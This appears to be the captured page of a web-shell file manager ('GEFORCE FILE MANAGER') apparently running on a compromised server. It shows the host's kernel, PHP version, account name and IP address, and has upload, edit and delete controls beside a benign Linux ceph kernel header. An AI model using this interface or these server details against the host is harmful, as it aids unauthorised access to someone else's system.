[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.56.1.el8_10.x86_64
/
include
/
linux
/
ceph
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 auth.h
6,750 B
SET
[ EDIT ]
|
[ DEL ]
📄 buffer.h
833 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_debug.h
907 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_features.h
8,887 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_frag.h
2,015 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_fs.h
28,384 B
SET
[ EDIT ]
|
[ DEL ]
📄 ceph_hash.h
472 B
SET
[ EDIT ]
|
[ DEL ]
📄 cls_lock_client.h
1,759 B
SET
[ EDIT ]
|
[ DEL ]
📄 debugfs.h
362 B
SET
[ EDIT ]
|
[ DEL ]
📄 decode.h
10,172 B
SET
[ EDIT ]
|
[ DEL ]
📄 libceph.h
10,432 B
SET
[ EDIT ]
|
[ DEL ]
📄 mdsmap.h
1,900 B
SET
[ EDIT ]
|
[ DEL ]
📄 messenger.h
18,489 B
SET
[ EDIT ]
|
[ DEL ]
📄 mon_client.h
3,915 B
SET
[ EDIT ]
|
[ DEL ]
📄 msgpool.h
811 B
SET
[ EDIT ]
|
[ DEL ]
📄 msgr.h
7,333 B
SET
[ EDIT ]
|
[ DEL ]
📄 osd_client.h
15,950 B
SET
[ EDIT ]
|
[ DEL ]
📄 osdmap.h
9,274 B
SET
[ EDIT ]
|
[ DEL ]
📄 pagelist.h
1,971 B
SET
[ EDIT ]
|
[ DEL ]
📄 rados.h
19,214 B
SET
[ EDIT ]
|
[ DEL ]
📄 string_table.h
1,327 B
SET
[ EDIT ]
|
[ DEL ]
📄 striper.h
1,781 B
SET
[ EDIT ]
|
[ DEL ]
📄 types.h
558 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: string_table.h
/* SPDX-License-Identifier: GPL-2.0 */ #ifndef _FS_CEPH_STRING_TABLE_H #define _FS_CEPH_STRING_TABLE_H #include <linux/types.h> #include <linux/kref.h> #include <linux/rbtree.h> #include <linux/rcupdate.h> struct ceph_string { struct kref kref; union { struct rb_node node; struct rcu_head rcu; }; size_t len; char str[]; }; extern void ceph_release_string(struct kref *ref); extern struct ceph_string *ceph_find_or_create_string(const char *str, size_t len); extern bool ceph_strings_empty(void); static inline struct ceph_string *ceph_get_string(struct ceph_string *str) { kref_get(&str->kref); return str; } static inline void ceph_put_string(struct ceph_string *str) { if (!str) return; kref_put(&str->kref, ceph_release_string); } static inline int ceph_compare_string(struct ceph_string *cs, const char* str, size_t len) { size_t cs_len = cs ? cs->len : 0; if (cs_len != len) return cs_len - len; if (len == 0) return 0; return strncmp(cs->str, str, len); } #define ceph_try_get_string(x) \ ({ \ struct ceph_string *___str; \ rcu_read_lock(); \ for (;;) { \ ___str = rcu_dereference(x); \ if (!___str || \ kref_get_unless_zero(&___str->kref)) \ break; \ } \ rcu_read_unlock(); \ (___str); \ }) #endif